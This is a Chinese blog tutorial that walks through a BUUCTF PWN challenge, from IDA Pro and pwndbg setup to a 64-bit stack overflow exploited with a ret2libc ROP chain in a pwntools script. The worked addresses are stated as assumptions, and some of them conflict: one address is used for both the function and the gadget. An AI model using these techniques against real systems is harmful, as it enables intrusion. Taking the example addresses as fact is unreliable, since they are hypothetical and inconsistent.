尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

CTF PWN逆向实战:从IDA配置到栈溢出利用完整指南

CTF PWN逆向实战:从IDA配置到栈溢出利用完整指南 1. 项目概述与核心价值最近在BUUCTF上刷题看到很多新手卡在test_your_nc这个PWN入门题上。这题本身难度不高但很多朋友在第一步——搭建逆向分析环境时就遇到了麻烦尤其是IDA Pro的配置和基础使用。所以我决定结合这道题把从环境配置到逆向分析、再到最终利用的完整流程拆解一遍。这不仅仅是一道题的Writeup更是一个手把手的PWN逆向入门实战指南。无论你是刚接触CTF的新手还是想系统梳理一下IDA Pro在PWN题中应用的老手都能从中找到清晰的路径和可复现的操作细节。我们最终的目标不仅是拿到这道题的flag更是建立起一套属于自己的、可复用的PWN逆向分析工作流。2. 逆向分析环境与工具链配置工欲善其事必先利其器。PWN逆向分析不是单靠一个IDA Pro就能完成的它需要一个协同工作的工具链。很多人环境没配好看汇编就像看天书调试起来更是处处碰壁。下面这套配置是我在实战中打磨出来的兼顾了稳定性和效率。2.1 核心工具选型与安装IDA Pro无疑是静态分析的王者。对于CTF PWN题个人版Freeware版本功能受限严重或Pro版是必须的。我强烈建议使用7.0以上的版本其对64位程序的分析、反编译引擎的优化都非常到位。安装过程注意选择正确的架构32位或64位安装包通常64位系统安装64位IDA即可它能同时分析32位和64位程序。光有IDA还不够动态调试需要搭档。在Linux环境下GDB配合Pwndbg或GEF插件是标准配置。Pwndbg对CTF场景优化更好界面更友好GEF功能强大且仍在活跃更新。我个人的选择是Pwndbg它的堆块可视化、上下文信息提示对新手非常友好。安装也简单通常一条git clone加上在~/.gdbinit里加一行source /path/to/pwndbg/gdbinit.py就搞定了。Python环境是自动化脚本的基石。IDA Pro 7.0以上版本内置了Python 3环境但为了编写独立的exp脚本我们还需要一个系统级的Python 3.6环境。同时必须安装pwntools这个CTF/PWN神器库。它封装了socket通信、进程交互、ELF解析、ROP链构建等大量功能能极大提升解题效率。通过pip install pwntools即可安装。最后别忘了checksec和ROPgadget这类辅助工具。checksec可以快速查看程序开启了哪些安全机制如NX, PIE, Canary等这直接决定了我们的攻击思路。它通常集成在pwntools中from pwn import *后使用context.binary ELF(‘./test_your_nc‘); print(context.binary.checksec())。ROPgadget则用于在程序中搜索可用的gadget构建ROP链。注意所有工具的安装路径建议避免包含中文或特殊字符否则在脚本调用或IDA插件加载时可能产生难以排查的编码错误。2.2 IDA Pro针对性配置与插件推荐安装好IDA后默认配置可能并不顺手进行一些针对性调整能事半功倍。首先字体和颜色主题。长时间面对汇编代码一个舒适的色彩方案和清晰的字体至关重要。我习惯使用深色背景如Darcula配合Consolas或Fira Code等等宽字体能有效减轻视觉疲劳。在Options - Colors和Options - Font中可以设置。其次反编译器选项。IDA的Hex-Rays反编译器能将汇编转换成更易读的伪C代码。确保在Options - General - Disassembly中将Number of opcode bytes设置为一个合适的值如8这样在反汇编窗口就能同时看到机器码和汇编指令方便我们计算偏移。对于反编译窗口可以在Options - Demangled names中设置自己喜欢的显示风格。关键插件能极大扩展IDA的能力Keypatch这是一个二进制补丁插件允许你直接在IDA中修改指令的机器码。在测试shellcode或绕过简单校验时非常方便。Findcrypt用于识别程序中使用到的加密算法常量如AES的S盒、MD5的初始向量等在逆向分析涉及加密的题目时能快速定位算法。LazyIDA一个国产神器集成了许多实用功能如快速转换数据格式、栈帧偏移计算、字符串提取等能省去大量手动计算的时间。这些插件的安装方式类似通常是将插件文件.py或插件文件夹复制到IDA的plugins目录下重启IDA即可。3. test_your_nc题目逆向分析实战环境配好了我们直接进入实战。首先从BUUCTF平台下载test_your_nc的题目附件通常是一个压缩包里面包含可执行文件可能是test_your_nc、pwn或类似的名称以及可能有的libc.so.x动态链接库文件。3.1 初步信息收集与安全机制检查在打开IDA之前先用命令行工具收集一波信息。# 查看文件类型和基本信息 file test_your_nc # 输出示例test_your_nc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]..., stripped # 检查文件权限 ls -la test_your_nc # 使用checksec检查安全机制通过pwntools python3 -c “from pwn import *; print(ELF(‘./test_your_nc‘).checksec())”典型的输出可能如下Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)这个结果非常“经典”64位程序寄存器、函数调用约定参数优先用RDI, RSI, RDX, RCX...和32位不同。Stripped符号表被剥离意味着在IDA里看不到main、vulnerable_function这类直观的函数名所有用户函数名都会显示为sub_xxxx增加了分析难度。Partial RELRO对GOT表改写有一定保护但并非完全不可写。No Canary栈上没有金丝雀Canary保护存在栈溢出漏洞的可能性极大。NX Enabled栈不可执行。这意味着我们不能直接把shellcode放在栈上然后跳过去执行必须采用ROPReturn-Oriented Programming或ret2libc等技术。No PIE程序基地址固定这里是0x400000。这简化了利用过程因为我们用到的函数地址、gadget地址都是固定的无需泄露地址来计算偏移。这些信息已经为我们勾勒出了大致的攻击面一个没有栈保护、基址固定的64位程序很可能存在栈溢出并且需要绕过NX保护。3.2 IDA静态分析定位漏洞点用IDA Pro打开test_your_nc文件。由于是剥离stripped的程序IDA会花一些时间进行自动分析。分析完成后我们首先在Functions window快捷键CtrlF里找入口点。通常入口函数是start或_start但它会很快调用__libc_start_main其第一个参数就是main函数的地址。虽然符号没了但IDA通常能通过交叉引用分析出main函数。更直接的方法是查看字符串快捷键ShiftF12。在字符串窗口搜索像“flag”、“input”、“please”、“name”这类可能由程序输出的提示字符串。双击找到的字符串IDA会跳转到该字符串在.data或.rodata段的位置然后通过交叉引用快捷键X查看哪些函数引用了它。这往往是定位关键函数的捷径。对于test_your_nc这类入门题漏洞函数通常很简单。我们假设通过字符串引用找到了一个函数比如sub_400123它调用了puts输出提示然后调用了gets或read进行输入。按F5对该函数进行反编译可能会看到类似如下的伪C代码ssize_t sub_400123() { char buf[64]; // [rsp0h] [rbp-40h] puts(“Please input your name:“); return read(0, buf, 0x100uLL); }漏洞一目了然buf在栈上只有64字节rbp-0x40但read函数允许读取最多0x100256个字节的数据造成了栈缓冲区溢出。我们需要确认几个关键信息返回地址的偏移量buf的起始地址是rbp-0x40。在x86-64中调用函数时call指令会将下一条指令的地址返回地址压栈。进入函数后push rbp; mov rbp, rsp会保存旧的rbp。所以栈布局从上到下高地址到低地址通常是旧的寄存器值、返回地址、旧的rbp、局部变量。这里从buf起始rbp-0x40到rbp是64字节从rbp到返回地址还有8字节64位下rbp本身占8字节。因此填充0x40 0x8 0x4872字节的垃圾数据后接下来的8个字节就会覆盖到返回地址。可利用的函数在左侧的Functions window里或者通过Imports窗口CtrlI查看程序导入了哪些库函数。重点关注system、execve、puts、write、read等。同时查看字符串窗口是否有“/bin/sh“。如果有现成的system和“/bin/sh“那就是最简单的ret2libc。可用的gadget使用ROPgadget工具或IDA的插件搜索pop rdi; ret这样的gadget。因为在x86-64中第一个参数通过rdi传递。我们需要用pop rdi; ret将“/bin/sh“的地址弹入rdi然后跳转到system函数。3.3 动态调试验证与偏移确认静态分析得出的偏移量是理论值最好通过动态调试验证。我们使用gdb配合pwndbg。gdb ./test_your_nc在gdb中# 加载pwndbg后先设置调试环境如果程序需要参数 set args input.txt # 在漏洞函数如sub_400123的ret指令处下断点 # 首先用IDA查看该函数的地址例如0x400123 break *0x400123 # 或者在函数内的read/gets调用之后下断点 # 运行程序 run # 发送一个模式字符串cyclic pattern来精确计算偏移 # 在pwndbg中可以使用cyclic命令生成 # 或者用pwntools生成cyclic 200 # 假设我们生成一个200字节的字符串 ‘aaaabaaacaaadaaae...‘ # 在程序提示输入时粘贴这个长字符串 # 程序崩溃后查看RSP或RIP寄存器的值 info registers rip # 然后用cyclic -l rip的值 来计算偏移 # 例如如果rip的值是0x6161616c6161616b那么 cyclic -l 0x6161616c6161616b # 输出偏移量应该和我们计算的72一致。这个步骤至关重要它能确保我们的偏移计算是准确的避免因对齐或其他编译器优化导致的细微偏差。4. 漏洞利用与Exploit构造分析清楚后就开始构造攻击载荷Exploit。根据我们之前的信息收集No PIE, NX enabled, 有system和“/bin/sh“采用ret2libc攻击。4.1 构建ROP链假设通过IDA的Imports窗口看到system的PLT表地址是0x400520在字符串窗口找到“/bin/sh“的地址是0x400012可能在.data段。同时我们用ROPgadget找到了pop rdi; ret的gadget地址是0x400123。那么我们的ROP链结构如下[‘A‘ * 72] [pop_rdi_ret_addr] [binsh_addr] [system_plt_addr]解释‘A‘ * 72填充栈缓冲区直到覆盖到返回地址。pop_rdi_ret_addr0x400123覆盖原有的返回地址。程序执行流跳转到这里。binsh_addr0x400012这是pop rdi; retgadget要“弹”出的值它会被放入rdi寄存器作为system函数的第一个参数。system_plt_addr0x400520pop rdi; retgadget执行完ret后会跳转到这里即执行system(“/bin/sh“)。4.2 编写Python Exploit脚本使用pwntools编写脚本自动化整个攻击过程。#!/usr/bin/env python3 from pwn import * # 设置目标程序架构和日志级别 context(arch‘amd64‘, os‘linux‘, log_level‘debug‘) # 本地调试 # p process(‘./test_your_nc‘) # 如果是远程题目使用 remote(‘node4.buuoj.cn‘, 12345) # 这里假设是本地文件 elf ELF(‘./test_your_nc‘) p process(elf.path) # 通过ELF对象获取地址更稳健 pop_rdi_ret 0x400123 # 假设的gadget地址实际需要用ROPgadget搜索 binsh_addr 0x400012 # 假设的“/bin/sh“字符串地址实际在IDA中查找 system_plt elf.plt[‘system‘] # 获取system的PLT地址比硬编码更优 # 如果没有找到“/bin/sh“可能需要自己写入。这里假设存在。 # 构造payload offset 72 payload flat([ b‘A‘ * offset, pop_rdi_ret, binsh_addr, system_plt ]) # 发送payload p.sendlineafter(b“Please input your name:“, payload) # 等待特定提示后再发送 # 切换到交互模式拿到shell后就可以执行命令了 p.interactive()4.3 应对无现成“/bin/sh“的情况很多时候程序里并没有现成的“/bin/sh“字符串。这时我们需要自己将这个字符串写入到进程内存的可写区域如.bss段。这需要用到read函数和pop rdi; ret、pop rsi; ret、pop rdx; ret等控制更多参数的gadget。基本思路是利用第一次溢出调用read(0, bss_addr, len(“/bin/sh\x00“))将字符串“/bin/sh”读入到已知的、可写的.bss段地址bss_addr。然后再次调用system(bss_addr)。这需要构造更长的ROP链并且可能需要多次溢出如果程序有循环或者利用栈迁移stack pivot技术。对于test_your_nc这种入门题通常会给出现成字符串简化利用。5. 常见问题与调试技巧实录在实际操作中你几乎一定会遇到下面这些问题。我把它们和解决方法记录下来希望能帮你节省大量时间。5.1 偏移计算不准导致崩溃问题精心构造的payload发送后程序没有按预期弹出shell而是以SIGSEGV段错误崩溃用gdb调试发现rip指向一个奇怪的地址。排查首先用cyclic pattern验证偏移。这是最可靠的方法如前文动态调试部分所述。检查栈对齐。在x86-64的System V ABI中call指令执行时栈指针rsp需要是16字节对齐的。某些libc函数如system在内部可能会因为栈未对齐而崩溃。解决方法是在system地址前再加一个retgadget地址任意只要是一条ret指令。这相当于执行一次无操作的ret它会将rsp加8从而满足对齐要求。所以payload可能变成[... pop_rdi_ret, binsh_addr, ret_addr, system_plt]。检查地址有效性。确保你使用的所有地址gadget、字符串、函数都是正确的并且指向可执行或可读的内存区域。用gdb的vmmap命令pwndbg中查看内存映射。5.2 远程环境与本地环境差异问题exp在本地测试成功但打远程服务器就是拿不到shell。排查libc版本差异这是最常见的原因。远程服务器使用的libc版本可能和你的本地系统不同导致system函数、“/bin/sh“字符串的偏移地址不同。BUUCTF的题目通常会提供附带的libc.so.x文件。你需要用题目给的libc进行计算。利用思路先泄露一个libc中的函数地址比如puts的GOT表内容然后根据libc中该函数与system和“/bin/sh“的固定偏移计算出它们在实际运行时的地址。工具pwntools的DynELF模块或LibcSearcher库可以辅助完成但最稳妥的是用题目给的libc文件libc ELF(‘./libc.so.6‘); system_offset libc.sym[‘system‘]; binsh_offset next(libc.search(b‘/bin/sh‘))。网络延迟与交互远程连接可能有延迟。确保你的脚本使用了sendlineafter()或recvuntil()这类带等待的交互函数避免发送和接收数据不同步。适当增加timeout值。程序本身有变化有些题目为了防作弊每次连接生成的程序或地址会有轻微随机化但PIE未开时主要代码段不变。确保你的exp是通用的或者每次连接重新获取关键地址。5.3 IDA反编译伪代码与汇编不一致问题按F5生成的伪代码逻辑清晰但调试时发现程序实际执行的汇编路径不一样。排查IDA分析错误对于混淆或非标准编译的程序IDA的自动分析可能出错。永远以汇编视图为准。在反编译窗口按Tab键可以快速切换到对应汇编代码。花指令或反调试程序可能故意插入了一些无用的字节花指令干扰反汇编或者有反调试代码如ptrace检测。需要在汇编层面单步跟踪识别并绕过这些代码。有时需要手动修正IDA的分析按D键转换数据按C键转换代码。动态修改代码程序可能在运行时自我修改代码段。这种情况比较少见但在更复杂的逆向题中会出现。需要动态调试来观察代码的实际变化。5.4 Gadget寻找困难问题找不到合适的pop rdi; retgadget或者找不到控制rsi、rdx的gadget。解决扩大搜索范围ROPgadget --binary ./test_your_nc会输出所有gadget信息很多。可以针对性搜索ROPgadget --binary ./test_your_nc --only ‘pop|ret‘ | grep ‘rdi‘。也可以搜索pop rsipop rdxpop rax等。使用通用gadget在较老的glibc版本中__libc_csu_init函数末尾存在一段非常实用的通用gadget可以连续设置rdx,rsi,edi注意是edi不是rdi寄存器。其地址固定常用于64位ROP。可以用objdump -d ./test_your_nc | grep -A 20 “__libc_csu_init:“查看。组合使用gadget如果没有一个gadget能同时设置所有参数可以链式使用多个gadget。例如先用pop rdi; ret设置rdi再用pop rsi; pop r15; ret设置rsi注意r15也需要填充一个无关值。利用内存读写原语如果程序中有像mov [rdi], rsi这样的gadget结合可控的rdi和rsi就可以实现任意地址写从而在内存中构造更复杂的参数或函数调用。逆向分析和PWN利用是一个需要耐心和细致的过程从环境配置、静态分析、动态调试到最终利用每一步都可能遇到坑。关键是多动手、多思考、多记录。每次解决一个问题都是对底层机制如调用约定、内存布局、链接过程的一次深入理解。test_your_nc只是一个开始掌握了这套方法你就能从容面对更复杂的挑战。最后一个小建议建立一个自己的“武器库”笔记记录不同保护机制下的利用模板、常用gadget地址、libc偏移计算方法以及像今天这样的环境配置清单这会让你在未来的解题中效率倍增。
返回列表